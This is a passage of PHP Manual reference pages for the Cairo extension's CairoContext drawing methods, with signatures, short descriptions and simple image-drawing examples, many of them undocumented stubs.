This is a convenience function that simply calls CairoSurface::copyPage() on CairoContext’s target.

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

$context->copyPage();

?>

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

cairo_copy_page($context);

?>

See Also

  • CairoContext::showPage() - The showPage purpose
  • CairoSurface::copyPage() - The copyPage purpose

User Contributed Notes

There are no user contributed notes for this page.


Creates a copy of the current path

  • « CairoContext::copyPage
  • CairoContext::copyPathFlat »
  • PHP Manual
  • CairoContext
  • Creates a copy of the current path

CairoContext::copyPath

cairo_copy_path

(PECL cairo >= 0.1.0)

CairoContext::copyPath -- cairo_copy_path — Creates a copy of the current path

Description

Object oriented style (method):

public CairoPath CairoContext::copyPath ( void )

Procedural style:

CairoPath cairo_copy_path ( CairoContext $context )

Creates a copy of the current path and returns it to the user as a CairoPath. See CairoPath for hints on how to iterate over the returned data structure.

This function will always return a valid CairoPath object, but the result will have no data, if either of the following conditions hold:

  • 1. If there is insufficient memory to copy the path. In this case CairoPath->status will be set to CAIRO_STATUS_NO_MEMORY.
  • 2. If context is already in an error state. In this case CairoPath->status will contain the same status that would be returned by cairo_status().
In either case, CairoPath->status will be set to CAIRO_STATUS_NO_MEMORY (regardless of what the error status in cr might have been).

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

A copy of the current CairoPath in the context

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

var_dump($context->copyPath())

?>

The above example will output something similar to:

object(CairoPath)#3 (0) {
}

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

var_dump(cairo_copy_path($context));

?>

The above example will output something similar to:

object(CairoPath)#3 (0) {
}

See Also

  • CairoContext::closePath() - Closes the current path

User Contributed Notes

There are no user contributed notes for this page.


Gets a flattened copy of the current path

  • « CairoContext::copyPath
  • CairoContext::curveTo »
  • PHP Manual
  • CairoContext
  • Gets a flattened copy of the current path

CairoContext::copyPathFlat

cairo_copy_path_flat

(PECL cairo >= 0.1.0)

CairoContext::copyPathFlat -- cairo_copy_path_flat — Gets a flattened copy of the current path

Description

Object oriented style (method):

public CairoPath CairoContext::copyPathFlat ( void )

Procedural style:

CairoPath cairo_copy_path_flat ( CairoContext $context )

Gets a flattened copy of the current path and returns it to the user as a CairoPath.

This function is like CairoContext::copyPath() except that any curves in the path will be approximated with piecewise-linear approximations, (accurate to within the current tolerance value). That is, the result is guaranteed to not have any elements of type CAIRO_PATH_CURVE_TO which will instead be replaced by a series of CAIRO_PATH_LINE_TO elements.

Parameters

context

A CairoContext object

Return Values

A copy of the current path

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);

$context = new CairoContext($surface);

var_dump($context->copyPathFlat());

?>

The above example will output something similar to:

object(CairoPath)#3 (0) {
}

Example #2 Procedural style

<?php

$surface = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);

$context = cairo_create($surface);

var_dump(cairo_copy_path_flat($context));

?>

The above example will output something similar to:

object(CairoPath)#3 (0) {
}

See Also

  • CairoContext::copyPath() - Creates a copy of the current path
  • CairoContext::closePath() - Closes the current path

User Contributed Notes

There are no user contributed notes for this page.


Adds a curve

  • « CairoContext::copyPathFlat
  • CairoContext::deviceToUser »
  • PHP Manual
  • CairoContext
  • Adds a curve

CairoContext::curveTo

cairo_curve_to

(PECL cairo >= 0.1.0)

CairoContext::curveTo -- cairo_curve_to — Adds a curve

Description

Object oriented style (method):

public void CairoContext::curveTo ( float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )

Procedural style:

void cairo_curve_to ( CairoContext $context , float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )

Adds a cubic Bezier spline to the path from the current point to position x3 ,y3 in user-space coordinates, using x1, y1 and x2, y2 as the control points. After this call the current point will be x3, y3.

If there is no current point before the call to CairoContext::curveTo() this function will behave as if preceded by a call to CairoContext::moveTo() (x1, y1).

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

x1

First control point in the x axis for the curve

y1

First control point in the y axis for the curve

x2

Second control point in x axis for the curve

y2

Second control point in y axis for the curve

x3

Final point in the x axis for the curve

y3

Final point in the y axis for the curve

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php
$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->setSourceRgb(0, 0, 0);

$c->paint();

$c->moveTo(10, 50);
$c->setLineWidth(5);
$c->setSourceRgb(.1, 0, 1);
$c->curveTo(20, 80, 80, 20, 90, 50);
$c->stroke();

$s->writeToPng(dirname(__FILE__) . '/curveTo.png');
?>

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_set_source_rgb($c, 0, 0, 0);

cairo_paint($c);

cairo_move_to($c, 10, 50);
cairo_set_line_width($c, 5);
cairo_set_source_rgb($c, .1, 0, 1);
cairo_curve_to($c, 20, 80, 80, 20, 90, 50);
cairo_stroke($c);

cairo_surface_write_to_png($s, dirname(__FILE__) . '/curve_to.png');
?>

See Also

  • CairoContext::moveTo() - The moveTo purpose

User Contributed Notes

There are no user contributed notes for this page.


Transform a coordinate

  • « CairoContext::curveTo
  • CairoContext::deviceToUserDistance »
  • PHP Manual
  • CairoContext
  • Transform a coordinate

CairoContext::deviceToUser

cairo_device_to_user

(PECL cairo >= 0.1.0)

CairoContext::deviceToUser -- cairo_device_to_user — Transform a coordinate

Description

Object oriented style (method):

public array CairoContext::deviceToUser ( float $x , float $y )

Procedural style:

array cairo_device_to_user ( CairoContext $context , float $x , float $y )

Transform a coordinate from device space to user space by multiplying the given point by the inverse of the current transformation matrix (CTM).

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

x

x value of the coordinate

y

y value of the coordinate

Return Values

An array containing the x and y coordinates in the user-space

See Also

  • CairoContext::deviceToUserDistance() - Transform a distance

User Contributed Notes

There are no user contributed notes for this page.


Transform a distance

  • « CairoContext::deviceToUser
  • CairoContext::fill »
  • PHP Manual
  • CairoContext
  • Transform a distance

CairoContext::deviceToUserDistance

cairo_device_to_user_distance

(PECL cairo >= 0.1.0)

CairoContext::deviceToUserDistance -- cairo_device_to_user_distance — Transform a distance

Description

Object oriented style (method):

public array CairoContext::deviceToUserDistance ( float $x , float $y )

Procedural style:

array cairo_device_to_user_distance ( CairoContext $context , float $x , float $y )

Transform a distance vector from device space to user space. This function is similar to CairoContext::deviceToUser() or cairo_device_to_user() except that the translation components of the inverse Cairo Transformation Matrix will be ignored when transforming (x,y).

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

x

X component of a distance vector

y

Y component of a distance vector

Return Values

Returns an array with the x and y values of a distance vector in the user-space

See Also

  • CairoContext::deviceToUser() - Transform a coordinate

User Contributed Notes

There are no user contributed notes for this page.


Fills the current path

  • « CairoContext::deviceToUserDistance
  • CairoContext::fillExtents »
  • PHP Manual
  • CairoContext
  • Fills the current path

CairoContext::fill

cairo_fill

(PECL cairo >= 0.1.0)

CairoContext::fill -- cairo_fill — Fills the current path

Description

Object oriented style (method):

public void CairoContext::fill ( void )

Procedural style:

void cairo_fill ( CairoContext $context )

A drawing operator that fills the current path according to the current CairoFillRule, (each sub-path is implicitly closed before being filled). After CairoContext::fill() or cairo_fill(), the current path will be cleared from the CairoContext.

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->setSourceRgb(0, 0, 0);
$c->paint();

$c->setSourceRgb(1, 1, 1);
$c->rectangle(0, 0, 50, 50);
$c->fill();
$c->setSourceRgb(0, 1, 0);
$c->rectangle(50, 50, 50, 50);
$c->fill();

$s->writeToPng(dirname(__FILE__) . '/CairoContext_fill.png');

?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_set_source_rgb($c, 0, 0, 0);
cairo_paint($c);

cairo_set_source_rgb($c, 1, 1, 1);
cairo_rectangle($c, 0, 0, 50, 50);
cairo_fill($c);
cairo_set_source_rgb($c, 0, 1, 0);
cairo_rectangle($c, 50, 50, 50, 50);
cairo_fill($c);

cairo_surface_write_to_png($s, dirname(__FILE__) . '/cairo_fill.png');

?>

The above example will output something similar to:

...

See Also

  • CairoContext::setFillRule() - The setFillRule purpose
  • ContextContext::fillPreserve()
  • CairoFillRule

User Contributed Notes

There are no user contributed notes for this page.


Computes the filled area

  • « CairoContext::fill
  • CairoContext::fillPreserve »
  • PHP Manual
  • CairoContext
  • Computes the filled area

CairoContext::fillExtents

cairo_fill_extents

(PECL cairo >= 0.1.0)

CairoContext::fillExtents -- cairo_fill_extents — Computes the filled area

Description

Object oriented style (method):

public array CairoContext::fillExtents ( void )

Procedural style:

array cairo_fill_extents ( CairoContext $context )

Computes a bounding box in user coordinates covering the area that would be affected, (the “inked” area), by a CairoContext::fill() operation given the current path and fill parameters. If the current path is empty, returns an empty rectangle (0,0,0,0). Surface dimensions and clipping are not taken into account.

Contrast with CairoContext::pathExtents(), which is similar, but returns non-zero extents for some paths with no inked area, (such as a simple line segment).

Note that CairoContext::fillExtents() must necessarily do more work to compute the precise inked areas in light of the fill rule, so CairoContext::pathExtents() may be more desirable for sake of performance if the non-inked path extents are desired.

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

An array with the coordinates of the afected area

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • CairoContext::fill() - Fills the current path
  • CairoContext::setFillRule() - The setFillRule purpose
  • CairoContext::fillPreserve() - Fills and preserve the current path

User Contributed Notes

There are no user contributed notes for this page.


Fills and preserve the current path

  • « CairoContext::fillExtents
  • CairoContext::fontExtents »
  • PHP Manual
  • CairoContext
  • Fills and preserve the current path

CairoContext::fillPreserve

cairo_fill_preserve

(PECL cairo >= 0.1.0)

CairoContext::fillPreserve -- cairo_fill_preserve — Fills and preserve the current path

Description

Object oriented style (method):

public void CairoContext::fillPreserve ( void )

Procedural style:

void cairo_fill_preserve ( CairoContext $context )

A drawing operator that fills the current path according to the current CairoFillRule, (each sub-path is implicitly closed before being filled). Unlike CairoContext::fill(), CairoContext::fillPreserve() (Procedural cairo_fill(), cairo_fill_preserve(), respectively) preserves the path within the Context.

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • CairoContext::setFillRule() - The setFillRule purpose
  • CairoContext::fill() - Fills the current path

User Contributed Notes

There are no user contributed notes for this page.


Get the font extents

  • « CairoContext::fillPreserve
  • CairoContext::getAntialias »
  • PHP Manual
  • CairoContext
  • Get the font extents

CairoContext::fontExtents

cairo_font_extents

(PECL cairo >= 0.1.0)

CairoContext::fontExtents -- cairo_font_extents — Get the font extents

Description

Object oriented style (method):

public array CairoContext::fontExtents ( void )

Procedural style:

array cairo_font_extents ( CairoContext $context )

Gets the font extents for the currently selected font.

Parameters

context

Description...

Return Values

An array containing the font extents for the current font.

Examples

Example #1 Object oriented style

<?php

$sur = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);
$con = new CairoContext($sur);

var_dump($con->fontExtents());

?>

The above example will output something similar to:

array(5) {
  ["ascent"]=>
  float(10)
  ["descent"]=>
  float(3)
  ["height"]=>
  float(13.3125)
  ["max_x_advance"]=>
  float(26.65625)
  ["max_y_advance"]=>
  float(0)
}

Example #2 Procedural style

<?php

$sur = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);
$con = cairo_create($sur);

var_dump(cairo_font_extents($con));

?>

The above example will output something similar to:

array(5) {
  ["ascent"]=>
  float(10)
  ["descent"]=>
  float(3)
  ["height"]=>
  float(13.3125)
  ["max_x_advance"]=>
  float(26.65625)
  ["max_y_advance"]=>
  float(0)
}

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


Retrives the current antialias mode

  • « CairoContext::fontExtents
  • CairoContext::getCurrentPoint »
  • PHP Manual
  • CairoContext
  • Retrives the current antialias mode

CairoContext::getAntialias

cairo_get_antialias

(PECL cairo >= 0.1.0)

CairoContext::getAntialias -- cairo_get_antialias — Retrives the current antialias mode

Description

Object oriented style (method):

public int CairoContext::getAntialias ( void )

Procedural style:

int cairo_get_antialias ( CairoContext $context )

Returns the current CairoAntialias mode, as set by CairoContext::setAntialias().

Parameters

context

A valid CairoContext object created with CairoContext::__construct() or cairo_create()

Return Values

The current CairoAntialias mode.

Examples

Example #1 Object oriented style

<?php

$surface = new CairoImageSurface(CairoFormat::ARGB32, 50, 50);
$context = new CairoContext($surface);

$context->setAntialias(CairoAntialias::MODE_SUBPIXEL);

var_dump($context->getAntialias());

?>

The above example will output something similar to:

int(3)

Example #2 Procedural style

<?php

$sur = cairo_image_surface_create(CAIRO_FORMAT_ARGB32, 50, 50);
$con = cairo_create($sur);

cairo_set_antialias($con, CAIRO_ANTIALIAS_SUBPIXEL);

var_dump(cairo_get_antialias($con));

?>

The above example will output something similar to:

int(3)

See Also

  • CairoContext::setAntialias() - The setAntialias purpose
  • CairoAntialias

User Contributed Notes

There are no user contributed notes for this page.


The getCurrentPoint purpose

  • « CairoContext::getAntialias
  • CairoContext::getDash »
  • PHP Manual
  • CairoContext
  • The getCurrentPoint purpose

CairoContext::getCurrentPoint

cairo_get_current_point

(PECL cairo >= 0.1.0)

CairoContext::getCurrentPoint -- cairo_get_current_point — The getCurrentPoint purpose

Description

Object oriented style

public array CairoContext::getCurrentPoint ( void )

Procedural style

array cairo_get_current_point ( CairoContext $context )

Gets the current point of the current path, which is conceptually the final point reached by the path so far.

The current point is returned in the user-space coordinate system. If there is no defined current point or if cr is in an error status, x and y will both be set to 0.0. It is possible to check this in advance with CairoContext::hasCurrentPoint().

Most path construction functions alter the current point. See the following for details on how they affect the current point: CairoContext::newPath(),
CairoContext::newSubPath(), CairoContext::appendPath(), CairoContext::closePath(), CairoContext::moveTo(),
CairoContext::lineTo(), CairoContext::curveTo(), CairoContext::relMoveTo(),
CairoContext::relLineTo(), CairoContext::relCurveTo(),
CairoContext::arc(), CairoContext::arcNegative(), CairoContext::rectangle(),
CairoContext::textPath(), CairoContext::glyphPath().

Some functions use and alter the current point but do not otherwise change current path: CairoContext::showText().

Some functions unset the current path and as a result, current point: CairoContext::fill(), CairoContext::stroke().

Parameters

context

A valid CairoContext object.

Return Values

An array containing the x (index 0) and y (index 1) coordinates of the current point.

Examples

Example #1 Object oriented style

<?php

$s = new CairoImageSurface(CairoFormat::ARGB32, 100, 100);
$c = new CairoContext($s);

$c->moveTo(10, 10);

var_dump($c->getCurrentPoint());

?>

The above example will output something similar to:

array(2) {
  [0]=>
  float(10)
  [1]=>
  float(10)
}

Example #2 Procedural style

<?php

$s = cairo_image_surface_create(CAIRO_SURFACE_TYPE_IMAGE, 100, 100);
$c = cairo_create($s);

cairo_move_to($c, 10, 10);

var_dump(cairo_get_current_point($c));

?>

The above example will output something similar to:

array(2) {
  [0]=>
  float(10)
  [1]=>
  float(10)
}

See Also

  • CairoContext::moveTo() - The moveTo purpose
  • CairoContext::hasCurrentPoint() - The hasCurrentPoint purpose

User Contributed Notes

There are no user contributed notes for this page.


The getDash purpose

  • « CairoContext::getCurrentPoint
  • CairoContext::getDashCount »
  • PHP Manual
  • CairoContext
  • The getDash purpose

CairoContext::getDash

cairo_get_dash

(PECL cairo >= 0.1.0)

CairoContext::getDash -- cairo_get_dash — The getDash purpose

Description

Object oriented style (method):

public array CairoContext::getDash ( void )

Procedural style:

array cairo_get_dash ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getDashCount purpose

  • « CairoContext::getDash
  • CairoContext::getFillRule »
  • PHP Manual
  • CairoContext
  • The getDashCount purpose

CairoContext::getDashCount

cairo_get_dash_count

(PECL cairo >= 0.1.0)

CairoContext::getDashCount -- cairo_get_dash_count — The getDashCount purpose

Description

Object oriented style (method):

public int CairoContext::getDashCount ( void )

Procedural style:

int cairo_get_dash_count ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getFillRule purpose

  • « CairoContext::getDashCount
  • CairoContext::getFontFace »
  • PHP Manual
  • CairoContext
  • The getFillRule purpose

CairoContext::getFillRule

cairo_get_fill_rule

(PECL cairo >= 0.1.0)

CairoContext::getFillRule -- cairo_get_fill_rule — The getFillRule purpose

Description

Object oriented style (method):

public int CairoContext::getFillRule ( void )

Procedural style:

int cairo_get_fill_rule ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getFontFace purpose

  • « CairoContext::getFillRule
  • CairoContext::getFontMatrix »
  • PHP Manual
  • CairoContext
  • The getFontFace purpose

CairoContext::getFontFace

cairo_get_font_face

(PECL cairo >= 0.1.0)

CairoContext::getFontFace -- cairo_get_font_face — The getFontFace purpose

Description

Object oriented style (method):

public void CairoContext::getFontFace ( void )

Procedural style:

void cairo_get_font_face ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getFontMatrix purpose

  • « CairoContext::getFontFace
  • CairoContext::getFontOptions »
  • PHP Manual
  • CairoContext
  • The getFontMatrix purpose

CairoContext::getFontMatrix

cairo_get_font_matrix

(PECL cairo >= 0.1.0)

CairoContext::getFontMatrix -- cairo_get_font_matrix — The getFontMatrix purpose

Description

Object oriented style (method):

public void CairoContext::getFontMatrix ( void )

Procedural style:

void cairo_get_font_matrix ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getFontOptions purpose

  • « CairoContext::getFontMatrix
  • CairoContext::getGroupTarget »
  • PHP Manual
  • CairoContext
  • The getFontOptions purpose

CairoContext::getFontOptions

cairo_get_font_options

(PECL cairo >= 0.1.0)

CairoContext::getFontOptions -- cairo_get_font_options — The getFontOptions purpose

Description

Object oriented style (method):

public void CairoContext::getFontOptions ( void )

Procedural style:

void cairo_get_font_options ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getGroupTarget purpose

  • « CairoContext::getFontOptions
  • CairoContext::getLineCap »
  • PHP Manual
  • CairoContext
  • The getGroupTarget purpose

CairoContext::getGroupTarget

cairo_get_group_target

(PECL cairo >= 0.1.0)

CairoContext::getGroupTarget -- cairo_get_group_target — The getGroupTarget purpose

Description

Object oriented style (method):

public void CairoContext::getGroupTarget ( void )

Procedural style:

void cairo_get_group_target ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getLineCap purpose

  • « CairoContext::getGroupTarget
  • CairoContext::getLineJoin »
  • PHP Manual
  • CairoContext
  • The getLineCap purpose

CairoContext::getLineCap

cairo_get_line_cap

(PECL cairo >= 0.1.0)

CairoContext::getLineCap -- cairo_get_line_cap — The getLineCap purpose

Description

Object oriented style (method):

public int CairoContext::getLineCap ( void )

Procedural style:

int cairo_get_line_cap ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getLineJoin purpose

  • « CairoContext::getLineCap
  • CairoContext::getLineWidth »
  • PHP Manual
  • CairoContext
  • The getLineJoin purpose

CairoContext::getLineJoin

cairo_get_line_join

(PECL cairo >= 0.1.0)

CairoContext::getLineJoin -- cairo_get_line_join — The getLineJoin purpose

Description

Object oriented style (method):

public int CairoContext::getLineJoin ( void )

Procedural style:

int cairo_get_line_join ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getLineWidth purpose

  • « CairoContext::getLineJoin
  • CairoContext::getMatrix »
  • PHP Manual
  • CairoContext
  • The getLineWidth purpose

CairoContext::getLineWidth

cairo_get_line_width

(PECL cairo >= 0.1.0)

CairoContext::getLineWidth -- cairo_get_line_width — The getLineWidth purpose

Description

Object oriented style (method):

public float CairoContext::getLineWidth ( void )

Procedural style:

float cairo_get_line_width ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getMatrix purpose

  • « CairoContext::getLineWidth
  • CairoContext::getMiterLimit »
  • PHP Manual
  • CairoContext
  • The getMatrix purpose

CairoContext::getMatrix

cairo_get_matrix

(PECL cairo >= 0.1.0)

CairoContext::getMatrix -- cairo_get_matrix — The getMatrix purpose

Description

Object oriented style (method):

public void CairoContext::getMatrix ( void )

Procedural style:

void cairo_get_matrix ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getMiterLimit purpose

  • « CairoContext::getMatrix
  • CairoContext::getOperator »
  • PHP Manual
  • CairoContext
  • The getMiterLimit purpose

CairoContext::getMiterLimit

cairo_get_miter_limit

(PECL cairo >= 0.1.0)

CairoContext::getMiterLimit -- cairo_get_miter_limit — The getMiterLimit purpose

Description

Object oriented style (method):

public float CairoContext::getMiterLimit ( void )

Procedural style:

float cairo_get_miter_limit ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getOperator purpose

  • « CairoContext::getMiterLimit
  • CairoContext::getScaledFont »
  • PHP Manual
  • CairoContext
  • The getOperator purpose

CairoContext::getOperator

cairo_get_operator

(PECL cairo >= 0.1.0)

CairoContext::getOperator -- cairo_get_operator — The getOperator purpose

Description

Object oriented style (method):

public int CairoContext::getOperator ( void )

Procedural style:

int cairo_get_operator ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getScaledFont purpose

  • « CairoContext::getOperator
  • CairoContext::getSource »
  • PHP Manual
  • CairoContext
  • The getScaledFont purpose

CairoContext::getScaledFont

cairo_get_scaled_font

(PECL cairo >= 0.1.0)

CairoContext::getScaledFont -- cairo_get_scaled_font — The getScaledFont purpose

Description

Object oriented style (method):

public void CairoContext::getScaledFont ( void )

Procedural style:

void cairo_get_scaled_font ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getSource purpose

  • « CairoContext::getScaledFont
  • CairoContext::getTarget »
  • PHP Manual
  • CairoContext
  • The getSource purpose

CairoContext::getSource

cairo_get_source

(PECL cairo >= 0.1.0)

CairoContext::getSource -- cairo_get_source — The getSource purpose

Description

Object oriented style (method):

public void CairoContext::getSource ( void )

Procedural style:

void cairo_get_source ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getTarget purpose

  • « CairoContext::getSource
  • CairoContext::getTolerance »
  • PHP Manual
  • CairoContext
  • The getTarget purpose

CairoContext::getTarget

cairo_get_target

(PECL cairo >= 0.1.0)

CairoContext::getTarget -- cairo_get_target — The getTarget purpose

Description

Object oriented style (method):

public void CairoContext::getTarget ( void )

Procedural style:

void cairo_get_target ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The getTolerance purpose

  • « CairoContext::getTarget
  • CairoContext::glyphPath »
  • PHP Manual
  • CairoContext
  • The getTolerance purpose

CairoContext::getTolerance

cairo_get_tolerance

(PECL cairo >= 0.1.0)

CairoContext::getTolerance -- cairo_get_tolerance — The getTolerance purpose

Description

Object oriented style (method):

public float CairoContext::getTolerance ( void )

Procedural style:

float cairo_get_tolerance ( CairoContext $context )

Description here.

Warning

This function is currently not documented; only its argument list is available.

Parameters

context

Description...

Return Values

Description...

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

See Also

  • Classname::Method()

User Contributed Notes

There are no user contributed notes for this page.


The glyphPath purpose

  • « CairoContext::getTolerance
  • CairoContext::hasCurrentPoint »
  • PHP Manual
  • CairoContext
  • The glyphPath purpose

CairoContext::glyphPath

cairo_glyph_path

(PECL cairo >= 0.1.0)

CairoContext::glyphPath -- cairo_glyph_path — The glyphPath purpose

Description

Object oriented style

public void CairoContext::glyphPath ( array $glyphs )

Procedural style

void cairo_glyph_path ( CairoContext $context , array $glyphs )

Adds closed paths for the glyphs to the current path. The generated path if filled, achieves an effect similar to that of CairoContext::showGlyphs().

Parameters

context

A CairoContext object

glyphs

Array of glyphs

Return Values

No value is returned.

Examples

Example #1 Object oriented style

<?php
/* ... */
?>

The above example will output something similar to:

...

Example #2 Procedural style

<?php
/* ... */
?>

The above example will output something similar to:

...

User Contributed Notes

There are no user contributed notes for this page.


The hasCurrentPoint purpose

  • « CairoContext::glyphPath
  • CairoContext::identityMatrix »
  • PHP Manual
  • CairoContext
  • The hasCurrentPoint purpose

CairoContext::hasCurrentPoint

cairo_has_current_point

(PECL cairo >= 0.1.0)

CairoContext::hasCurrentPoint -- cairo_has_current_point — The hasCurrentPoint purpose

Description

Object oriented style (method):

public bool CairoContext::hasCurrentPoint ( void )

Procedural style:

bool cairo_has_current_point ( CairoContext $context )

Returns whether a current point is defined on the current path. See CairoContext::getCurrentPoint() for details on the current point.

Parameters

context

A valid CairoContext object.

Return Values

